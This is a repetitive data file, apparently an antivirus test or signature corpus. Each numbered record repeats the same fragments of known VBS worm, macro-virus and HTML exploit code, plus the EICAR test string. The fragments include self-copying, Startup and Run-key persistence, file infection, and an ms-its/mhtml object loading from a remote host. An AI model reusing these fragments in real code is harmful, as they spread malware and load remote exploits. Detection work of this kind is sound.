 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

714

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

715

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

716

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

717

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

718

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

719

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

720

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

721

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

722

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

723

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

724

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

725

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

726

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

727

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

728

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

729

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

730

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

731

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

732

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

733

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

734

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

735

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

736

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

737

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

738

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

739

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

740

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

741

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
